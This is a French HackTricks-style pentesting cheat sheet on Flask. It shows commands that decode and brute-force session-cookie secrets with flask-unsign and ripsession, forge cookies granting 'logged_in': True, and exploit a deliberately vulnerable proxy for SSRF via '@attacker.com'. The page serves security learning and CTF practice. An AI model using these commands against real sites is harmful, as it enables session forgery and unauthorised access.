2.8 KiB

Flask

{{#include ../../banners/hacktricks-training.md}}

Probablement, si vous participez à un CTF, une application Flask sera liée à SSTI.

Cookies

Le nom de session de cookie par défaut est session.

Décodeur

Décodeur de cookies Flask en ligne : https://www.kirsle.net/wizards/flask-session.cgi

Manuel

Obtenez la première partie du cookie jusqu'au premier point et décodez-la en Base64.

echo "ImhlbGxvIg" | base64 -d

Le cookie est également signé à l'aide d'un mot de passe

Flask-Unsign

Outil en ligne de commande pour récupérer, décoder, forcer par brute force et créer des cookies de session d'une application Flask en devinant les clés secrètes.

{{#ref}} https://pypi.org/project/flask-unsign/ {{#endref}}

pip3 install flask-unsign
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Brute Force

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Signature

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Signature en utilisant des versions anciennes

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Outil en ligne de commande pour effectuer des attaques par force brute sur des sites web en utilisant des cookies créés avec flask-unsign.

{{#ref}} https://github.com/Tagvi/ripsession {{#endref}}

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

Cet exemple utilise l'option eval de sqlmap pour signer automatiquement les charges utiles de sqlmap pour Flask en utilisant un secret connu.

Proxy Flask pour SSRF

Dans cet article, il est expliqué comment Flask permet une requête commençant par le caractère "@":

GET @/ HTTP/1.1
Host: target.com
Connection: close

Dans le scénario suivant :

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

Pourrait permettre d'introduire quelque chose comme "@attacker.com" afin de provoquer un SSRF.

{{#include ../../banners/hacktricks-training.md}}